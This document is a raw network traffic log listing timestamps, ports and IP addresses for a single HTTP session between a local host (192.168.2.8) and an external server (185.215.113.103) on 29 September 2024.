Sep 29, 2024 01:02:10.011713028 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.011727095 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.011734009 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.011743069 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.011751890 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.011770010 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.011782885 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.011799097 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.011831999 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.052757025 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.052777052 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.052792072 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.052807093 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.052822113 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.052836895 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.052853107 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.052982092 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.052982092 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.053137064 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053152084 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053168058 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053183079 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053184986 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.053200006 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053211927 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.053215981 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053236961 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053239107 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.053253889 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053261042 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.053270102 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053282976 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.053286076 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053298950 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.053313971 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.053333998 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.053894997 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053910971 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053925037 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053939104 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053951979 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.053956985 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053963900 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.053972960 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053987980 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.053992033 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.054002047 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.054011106 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.054018021 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.054033995 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.054037094 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.054049015 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.054059029 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.054064989 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.054080963 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.054080963 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.054097891 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.054099083 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.054124117 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.054147005 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.057815075 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.057835102 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.057863951 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.057866096 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.057882071 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.057882071 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.057903051 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.057903051 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.057918072 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.057940006 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.057955980 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.057972908 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.057990074 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.057998896 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.058015108 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.058016062 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.058029890 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.058034897 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.058053970 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.058056116 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.058069944 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.058072090 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.058080912 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.058088064 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.058095932 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.058147907 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.100922108 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.100960970 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.100977898 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.100992918 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101008892 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101031065 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101047039 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101061106 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101077080 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101074934 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101092100 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101106882 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101119041 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101124048 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101140022 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101142883 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101156950 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101156950 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101185083 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101191998 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101197004 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101208925 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101227999 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101231098 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101243973 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101247072 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101264000 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101265907 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101279974 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101283073 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101300955 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101304054 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101324081 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101325035 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101341009 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101341009 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101356983 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101361036 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101373911 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101376057 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101389885 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101398945 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101414919 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101417065 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101433039 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101433039 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101458073 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101461887 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101466894 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101480007 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101495981 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101500988 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101512909 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101514101 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101531029 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101536989 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101546049 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101546049 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101563931 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101571083 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101583958 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101589918 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101599932 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101609945 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101619959 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101636887 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101658106 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101672888 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101687908 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101695061 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101705074 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.101713896 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101730108 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.101747036 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.102983952 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103001118 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103027105 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103041887 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103065968 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103147030 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103168964 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103183985 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103199005 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103199959 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103210926 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103215933 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103235006 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103240967 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103249073 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103256941 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103259087 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103274107 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103281975 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103296041 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103297949 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103313923 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103319883 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103329897 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103331089 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103347063 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103348017 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103367090 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103368044 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103389978 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103396893 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103396893 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103408098 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103423119 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103432894 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103439093 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103451967 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103455067 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103467941 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103471994 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103483915 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103487968 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103502989 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103503942 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103516102 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103519917 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103535891 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103535891 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103548050 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103553057 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.103578091 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.103602886 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.143526077 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143547058 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143573046 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143589973 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143613100 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143627882 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143644094 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143667936 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143682957 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143698931 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143713951 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143718958 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.143739939 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143755913 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143759966 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.143773079 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143781900 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.143790960 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143806934 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143809080 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.143822908 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143835068 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.143840075 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143857956 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143862963 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.143874884 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143887997 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.143893003 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143914938 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.143937111 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.143964052 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143979073 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.143994093 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.144001961 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.144017935 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.144021034 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.144037008 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.144040108 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.144057035 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.144059896 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.144071102 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.144073963 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.144093990 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.144117117 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148493052 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148509026 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148530960 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148547888 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148564100 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148576975 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148626089 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148642063 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148658037 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148669958 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148675919 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148680925 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148693085 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148701906 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148710012 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148715973 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148726940 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148734093 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148744106 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148752928 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148761988 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148761988 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148780107 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148782969 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148797035 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148802042 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148811102 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148828983 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.148859978 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.148900032 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191395998 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191431046 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191450119 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191474915 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191492081 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191507101 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191504955 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191536903 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191538095 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191562891 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191575050 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191579103 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191589117 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191596985 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191612959 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191617012 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191628933 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191642046 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191654921 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191668034 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191670895 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191688061 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191696882 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191720009 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191732883 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191735029 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191752911 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191767931 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191781044 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191786051 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191808939 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191832066 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191839933 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191871881 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191885948 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191886902 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191905022 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191911936 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191921949 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191931009 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191942930 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191947937 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191961050 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.191962957 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191984892 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.191999912 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.192091942 CEST	80	49712	185.215.113.103	192.168.2.8
